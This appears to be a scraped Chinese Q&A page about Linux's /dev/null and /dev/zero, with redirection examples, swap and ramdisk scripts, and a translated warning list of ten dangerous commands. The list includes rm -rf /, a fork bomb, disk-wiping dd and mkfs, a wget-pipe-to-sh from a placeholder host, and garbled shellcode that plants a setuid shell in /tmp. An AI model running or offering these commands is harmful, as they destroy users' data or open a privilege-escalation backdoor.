導航:首頁 > 操作系統 > linux黑洞

linux黑洞

發布時間:2022-10-03 02:27:46

linux中的/dev/null 原理是什麼

1,在linux中,一切皆文件,/dev/null也是如此
2,對文件的讀寫,都不能由普通應用程序直接進行,需要通過工作在內核態的驅動程序來完成。
3,普通程序進入這種內核模式的入口叫系統調用
4,open和write都離不開系統調用
5,在內核模式,負責處理write調用的驅動程序,只要簡單的把數據都丟棄,就形成這個黑洞

㈡ Linux執行的10個最危險的命令是哪些

Linux命令行佷有用、很高效,也很有趣,但有時候也很危險,尤其是在你不確定你自己在正在做什麼時候。這篇文章並不打算引來你對Linux或linux命令行的憤怒。我們只是想讓你意識到在你運行某些命令時應該三思而後行。(譯註:當然,以下命令通常都是在root許可權下才能將愚蠢發揮到無可救葯;在普通用戶身份下,破壞的只是自己的一畝三分地。)

1. rm -rf命令
rm -rf命令是刪除文件夾及其內容最快的方式之一。僅僅一丁點的敲錯或無知都可能導致不可恢復的系統崩壞。下列是一些rm命令的選項。
rm命令在Linux下通常用來刪除文件。
rm -r命令遞歸的刪除文件夾,甚至是空的文件夾。(譯註:個人認為此處應該是說錯了,從常識看,應該是「甚至是非空的文件夾」)
rm -f命令能不經過詢問直接刪除『只讀文件』。(譯註:Linux下刪除文件並不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫許可權。所以,-f這個參數只是表示不必一個個刪除確認,而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發行版都會將rm通過別名的方式增加-i參數來要求刪除確認,而-f則抑制了這個提示。)
rm -rf / :強制刪除根目錄下所有東東。(就是說刪除完畢後,什麼也沒有了。。。)
rm -rf *:強制刪除當前目錄的所有文件。
rm -rf . :強制刪除當前文件夾及其子文件夾。
從現在起,當你要執行rm -rf命令時請留心一點。我們可以在「.bashrc」文件對『rm『命令創建rm -i的別名,來預防用『rm『命令刪除文件時的事故,它會要求你確認每一個刪除請求。(譯註:大多數發行版已經這樣做了,如果還沒有,請這樣做,並在使用-f參數前一定考慮好你在做什麼!譯者本人有著血淚的教訓啊。)
2. :(){:|:&};:命令
這就是個fork炸彈的實例。具體操作是通過定義一個名為『:『的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
:(){:|:&};:哦?你確認你要試試么?千萬別在公司正式的伺服器上實驗啊~~
3.命令> /dev/sda
上列命令會將某個『命令『的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4. mv文件夾/dev/null
這個命令會移動某個『文件夾『到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。(譯註:這就是黑洞啊。當然,要說明的是,通過將文件夾移動到黑洞,並不能阻止數據恢復軟體的救贖,所以,真正的徹底毀滅,需要採用專用的軟體或者手法來完成——我知道你肯定有些東西想刪除得乾乾凈凈的。)
# mv /home/user/* /dev/null上列命令會將User目錄所有內容移動到/dev/null,這意味著所有東西都被『捲入』黑洞(null)之中。
5. wget http://malicious_source -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載下來的腳本。
注意:你應該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯註:所以,你真的知道你在做什麼嗎?當遇到這種需要是,我的做法是,先wget下來,然後我去讀一讀其中到底寫了些什麼,然後考慮是否執行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設備『sda』,你無疑知道在執行上列命令後你的塊設備(硬碟驅動器)會被格式化,嶄新的!沒有任何數據,直接讓你的系統達到不可恢復的階段。(譯註:通常不會直接使用/dev/sda這樣的設備,除非是作為raw設備使用,一般都需要將sda分成類似sda1、sda2這樣的分區後才使用。當然,無論你使用sda還是sda1,這樣對塊設備或分區進行mkfs都是毀滅性的,上面的數據都會被蒸發了。)
7. > file
上列命令常用來清空文件內容(譯註:通常也用於記錄命令輸出。不過請在執行前,確認輸出的文件是空的或者還不存在,否則原來的文件可真是恢復不了了——連數據恢復軟體都未必能幫助你了。另外,我想你可能真正想用的是「>>」,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8. ^foo^bar
這個命令在我們十個鮮為人知的Linux命令- Part 3中描述過,用來編輯先前運行的命令而無需重打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。(譯註:事實上,這種小技巧是譯者認為的,少數史前時代遺留下來的無用而有害的「黑客」技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然!你的系統可能陷入混亂和不可恢復的狀態。(譯註:記得上面說過mv到黑洞並不能徹底刪除數據么?那麼這個命令就是給了你一個徹底刪除的方法!當然為了保險起見,你可以覆寫多次。)
10.隱藏命令
下面的命令其實就是上面第一個命令(rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什麼結果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(「.text」))) /* e.s.p
release */
=「ë>[1ÀPTZƒìdh″
「ÿÿÿÿhßÐßÙh™″
「ßh』ßÒT^÷÷″
「V÷V÷VƒÄtV″
「sVSTY°Í€1″
「À@ëùè½ÿÿÿ/bi″
「n/sh-c″
「cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;」;注意:不要在你的或你的同學或學校的電腦里的Linux終端或Shell執行以上的任何一個命令。如果你想測試它們,請在虛擬機上運行。任何不和諧或數據丟失,由於運行上面的命令導致你的系統崩潰,文章作者和Tecmint概不負責。(譯註:譯者和轉載網站也不負責~!)

㈢ linux 中find / -name dmesg 2> /dev/null應該在屏幕無輸出的啊。為什麼我在使用這條命令的時候屏幕有輸出

如果 /dev/null 表示黑洞,那麼,你只是把標准錯誤輸出重定向到黑洞,丟棄了。
正常的輸出內容還是會顯示的。
所以,要完全沒有輸出,就直接:find / -name dmesg >/dev/null

㈣ linux中的/dev/null 原理是什麼

1,在linux中,一切皆文件,/dev/null也是如此
2,對文件的讀寫,都不能由普通應用程序直接進行,需要通過工作在內核態的驅動程序來完成。
3,普通程序進入這種內核模式的入口叫系統調用
4,open和write都離不開系統調用
5,在內核模式,負責處理write調用的驅動程序,只要簡單的把數據都丟棄,就形成這個黑洞

㈤ linux 中 /dev/zero和/dev/null的區別

使用/dev/null
把/dev/null看作"黑洞". 它非常等價於一個只寫文件. 所有寫入它的內容都會永遠丟失. 而嘗試從它那兒讀取內容則什麼也讀不到. 然而, /dev/null對命令行和腳本都非常的有用.

禁止標准輸出. 1 cat $filename >/dev/null
2 # 文件內容丟失,而不會輸出到標准輸出.

禁止標准錯誤 (來自例子 12-3). 1 rm $badname 2>/dev/null
2 # 這樣錯誤信息[標准錯誤]就被丟到太平洋去了.

禁止標准輸出和標准錯誤的輸出. 1 cat $filename 2>/dev/null >/dev/null
2 # 如果"$filename"不存在,將不會有任何錯誤信息提示.
3 # 如果"$filename"存在, 文件的內容不會列印到標准輸出.
4 # 因此Therefore, 上面的代碼根本不會輸出任何信息.
5 #
6 # 當只想測試命令的退出碼而不想有任何輸出時非常有用。
7 #
8 #
9 # cat $filename &>/dev/null
10 # 也可以, 由 Baris Cicek 指出.

Deleting contents of a file, but preserving the file itself, with all attendant permissions (from Example 2-1 and Example 2-3): 1 cat /dev/null > /var/log/messages
2 # : > /var/log/messages 有同樣的效果, 但不會產生新的進程.(因為:是內建的)
3
4 cat /dev/null > /var/log/wtmp

自動清空日誌文件的內容 (特別適合處理這些由商業Web站點發送的討厭的"cookies"):

--------------------------------------------------------------------------------

例子 28-1. 隱藏cookie而不再使用

1 if [ -f ~/.netscape/cookies ] # 如果存在則刪除.
2 then
3 rm -f ~/.netscape/cookies
4 fi
5
6 ln -s /dev/null ~/.netscape/cookies
7 # 現在所有的cookies都會丟入黑洞而不會保存在磁碟上了.

--------------------------------------------------------------------------------

使用/dev/zero
像/dev/null一樣, /dev/zero也是一個偽文件, 但它實際上產生連續不斷的null的流(二進制的零流,而不是ASCII型的). 寫入它的輸出會丟失不見, 而從/dev/zero讀出一連串的null也比較困難, 雖然這也能通過od或一個十六進制編輯器來做到. /dev/zero主要的用處是用來創建一個指定長度用於初始化的空文件,就像臨時交換文件.

--------------------------------------------------------------------------------

例子 28-2. 用/dev/zero創建一個交換臨時文件

1 #!/bin/bash
2 # 創建一個交換文件.
3
4 ROOT_UID=0 # Root 用戶的 $UID 是 0.
5 E_WRONG_USER=65 # 不是 root?
6
7 FILE=/swap
8 BLOCKSIZE=1024
9 MINBLOCKS=40
10 SUCCESS=0
11
12
13 # 這個腳本必須用root來運行.
14 if [ "$UID" -ne "$ROOT_UID" ]
15 then
16 echo; echo "You must be root to run this script."; echo
17 exit $E_WRONG_USER
18 fi
19
20
21 blocks=${1:-$MINBLOCKS} # 如果命令行沒有指定,
22 #+ 則設置為默認的40塊.
23 # 上面這句等同如:
24 # --------------------------------------------------
25 # if [ -n "$1" ]
26 # then
27 # blocks=$1
28 # else
29 # blocks=$MINBLOCKS
30 # fi
31 # --------------------------------------------------
32
33
34 if [ "$blocks" -lt $MINBLOCKS ]
35 then
36 blocks=$MINBLOCKS # 最少要有 40 個塊長.
37 fi
38
39
40 echo "Creating swap file of size $blocks blocks (KB)."
41 dd if=/dev/zero of=$FILE bs=$BLOCKSIZE count=$blocks # 把零寫入文件.
42
43 mkswap $FILE $blocks # 將此文件建為交換文件(或稱交換分區).
44 swapon $FILE # 激活交換文件.
45
46 echo "Swap file created and activated."
47
48 exit $SUCCESS

--------------------------------------------------------------------------------

關於 /dev/zero 的另一個應用是為特定的目的而用零去填充一個指定大小的文件, 如掛載一個文件系統到環回設備 (loopback device) (參考例子 13-8) 或"安全地" 刪除一個文件(參考例子 12-55).

--------------------------------------------------------------------------------

例子 28-3. 創建ramdisk

1 #!/bin/bash
2 # ramdisk.sh
3
4 # "ramdisk"是系統RAM內存的一段,
5 #+ 它可以被當成是一個文件系統來操作.
6 # 它的優點是存取速度非常快 (包括讀和寫).
7 # 缺點: 易失性, 當計算機重啟或關機時會丟失數據.
8 #+ 會減少系統可用的RAM.
9 #
10 # 那麼ramdisk有什麼作用呢?
11 # 保存一個較大的數據集在ramdisk, 比如一張表或字典,
12 #+ 這樣可以加速數據查詢, 因為在內存里查找比在磁碟里查找快得多.
13
14
15 E_NON_ROOT_USER=70 # 必須用root來運行.
16 ROOTUSER_NAME=root
17
18 MOUNTPT=/mnt/ramdisk
19 SIZE=2000 # 2K 個塊 (可以合適的做修改)
20 BLOCKSIZE=1024 # 每塊有1K (1024 byte) 的大小
21 DEVICE=/dev/ram0 # 第一個 ram 設備
22
23 username=`id -nu`
24 if [ "$username" != "$ROOTUSER_NAME" ]
25 then
26 echo "Must be root to run ""`basename $0`""."
27 exit $E_NON_ROOT_USER
28 fi
29
30 if [ ! -d "$MOUNTPT" ] # 測試掛載點是否已經存在了,
31 then #+ 如果這個腳本已經運行了好幾次了就不會再建這個目錄了
32 mkdir $MOUNTPT #+ 因為前面已經建立了.
33 fi
34
35 dd if=/dev/zero of=$DEVICE count=$SIZE bs=$BLOCKSIZE # 把RAM設備的內容用零填充.
36 # 為何需要這么做?
37 mke2fs $DEVICE # 在RAM設備上創建一個ext2文件系統.
38 mount $DEVICE $MOUNTPT # 掛載設備.
39 chmod 777 $MOUNTPT # 使普通用戶也可以存取這個ramdisk.
40 # 但是, 只能由root來缷載它.
41
42 echo """$MOUNTPT"" now available for use."
43 # 現在 ramdisk 即使普通用戶也可以用來存取文件了.
44
45 # 注意, ramdisk是易失的, 所以當計算機系統重啟或關機時ramdisk里的內容會消失.
46 #
47 # 拷貝所有你想保存文件到一個常規的磁碟目錄下.
48
49 # 重啟之後, 運行這個腳本再次建立起一個 ramdisk.
50 # 僅重新載入 /mnt/ramdisk 而沒有其他的步驟將不會正確工作.
51
52 # 如果加以改進, 這個腳本可以放在 /etc/rc.d/rc.local,
53 #+ 以使系統啟動時能自動設立一個ramdisk.
54 # 這樣很合適速度要求高的資料庫伺服器.
55
56 exit 0

--------------------------------------------------------------------------------

最後值得一提的是, ELF二進制文件利用了/dev/zero.
文章自:http://www.cnblogs.com/pony

/dev/null,外號叫無底洞,你可以向它輸出任何數據,它通吃,並且不會撐著!
/dev/zero,是一個輸入設備,你可你用它來初始化文件。
/dev/null,外號叫無底洞,你可以向它輸出任何數據,它通吃,並且不會撐著!
/dev/zero,是一個輸入設備,你可你用它來初始化文件。

/dev/null------它是空設備,也稱為位桶(bit bucket)。任何寫入它的輸出都會被拋棄。如果不想讓消息以標准輸出顯示或寫入文件,那麼可以將消息重定向到位桶。
/dev/zero------該設備無窮盡地提供0,可以使用任何你需要的數目——設備提供的要多的多。他可以用於向設備或文件寫入字元串0。
$if=/dev/zero of=./test.txt bs=1k count=1
$ ls -l
total 4
-rw-r--r-- 1 oracle dba 1024 Jul 15 16:56 test.txt

eg,

find / -name access_log 2>/dev/null

這樣,一些諸如一些錯誤信息就不會顯示出來。

關於/dev/null及用途
2007-11-19 17:56
把/dev/null看作"黑洞". 它非常等價於一個只寫文件. 所有寫入它的內容都會永遠丟失. 而嘗試從它那兒讀取內容則什麼也讀不到. 然而, /dev/null對命令行和腳本都非常的有用.

㈥ shell腳本中>/dev/null的含義

/dev/null表示空設備,這里就是把日誌記錄到空設備里,就是不記錄日誌,Null 是一特殊指標值(或是一種物件參照 reference)表示這個指標並不指向任何的物件。

是一個特殊的文件,寫入到它的內容都會被丟棄,如果嘗試從該文件讀取內容,那麼什麼也讀不到,但是/dev/null 文件非常有用,將命令的輸出重定向到它,會起到」禁止輸出「的效果。

(6)linux黑洞擴展閱讀:

用處:禁止標准輸出

1 cat $filename >/dev/null # 文件內容丟失,而不會輸出到標准輸出,禁止標准錯誤。

2、dev/null 這樣錯誤信息[標准錯誤]就被丟的不知道到哪了。

3、1>/dev/null 2>&1的含義> 代表重定向到哪裡,例如:echo "123" > /home/123.txt1 表示stdout標准輸出,系統默認值是1,所以">/dev/null"等同於"1>/dev/null"2表示stderr標准錯誤& 表示等同於的意思。

4、2>&1,表示2的輸出重定向等同於1那麼本文標題的語句1>/dev/null 首先表示標准輸出重定向到空設備文件,也就是不輸出任何信息到終端,說白了就是不顯示任何信息。

5、2>&1 接著,標准錯誤輸出重定向等同於 標准輸出,因為之前標准輸出已經重定向到了空設備文件,所以標准錯誤輸出也重定向到空設備文件。

6、/dev/zero文件代表一個永遠輸出 0的設備文件,使用它作輸入可以得到全為空的文件。因此可用來創建新文件和以覆蓋的方式清除舊文件。

參考資料來源:

null值-網路

shell腳本-網路

㈦ linux 中 /dev/zero和/dev/null的區別

/dev/zero
是系統中能夠產生二進制零流的設備
這個設備主要是和dd命令配置使用,可以使用此設備對某些磁碟進行寫零操作
/dev/null
是一個黑洞設備
這個設備一般與>和>>輸出重定向配合使用,用作將命令的輸出不顯示在屏幕上。

㈧ Linux裡面2>&1和追加到dev/null區別是什麼

區別:
2>/dev/null
意思就是把錯誤輸出到「黑洞」
>/dev/null 2>&1

默認情況是1,也就是等同於1>/dev/null 2>&1。意思就是把標准輸出重定向到「黑洞」,還把錯誤輸出2重定向到標准輸出1,也就是標准輸出和錯誤輸出都進了「黑洞」
2>&1 >/dev/null

意思就是把錯誤輸出2重定向到標准出書1,也就是屏幕,標准輸出進了「黑洞」,也就是標准輸出進了黑洞,錯誤輸出列印到屏幕

㈨ linux find命令出現Permission denied後怎麼辦

把錯誤信息寫進Linux黑洞文件(/dev/null)吧, 0表示標准輸入, 1表示標准輸出, 2表示標准錯誤, 所以可以這么搞: alias findfile='find . -depth -type f -iname "*" 2>/dev/null | xargs md5sum 2>/dev/null | grep --color -nE -ir'

閱讀全文

與linux黑洞相關的資料

熱點內容
畫江湖之不良人同人小說 瀏覽:73
北京少兒編程必修課 瀏覽:991
我愛你韓國百度雲 瀏覽:761
攻重生寵前世男妻 瀏覽:958
pdf電子簽名製作 瀏覽:881
她從對岸來完整版 瀏覽:737
韓國 保姆電影 瀏覽:770
女主叫簡寧小說名叫什麼 瀏覽:959
ug75變換命令 瀏覽:255
伺服器如何開啟3389 瀏覽:215
2019中日韓免費好看的電影 瀏覽:660
雲伺服器怎麼綁定亞馬遜 瀏覽:852
怎樣破解網盤加密資源 瀏覽:86
青瓷pdf 瀏覽:425
壓縮空氣一立方米耗電多少 瀏覽:458
釘盤文件夾名 瀏覽:290
22dyorg /info /393348.html 瀏覽:962
顧念的小說免費閱讀 瀏覽:784
岳雲鵬過安檢掉東西的電影叫什麼 瀏覽:786
泰國大尺度同性戀 瀏覽:169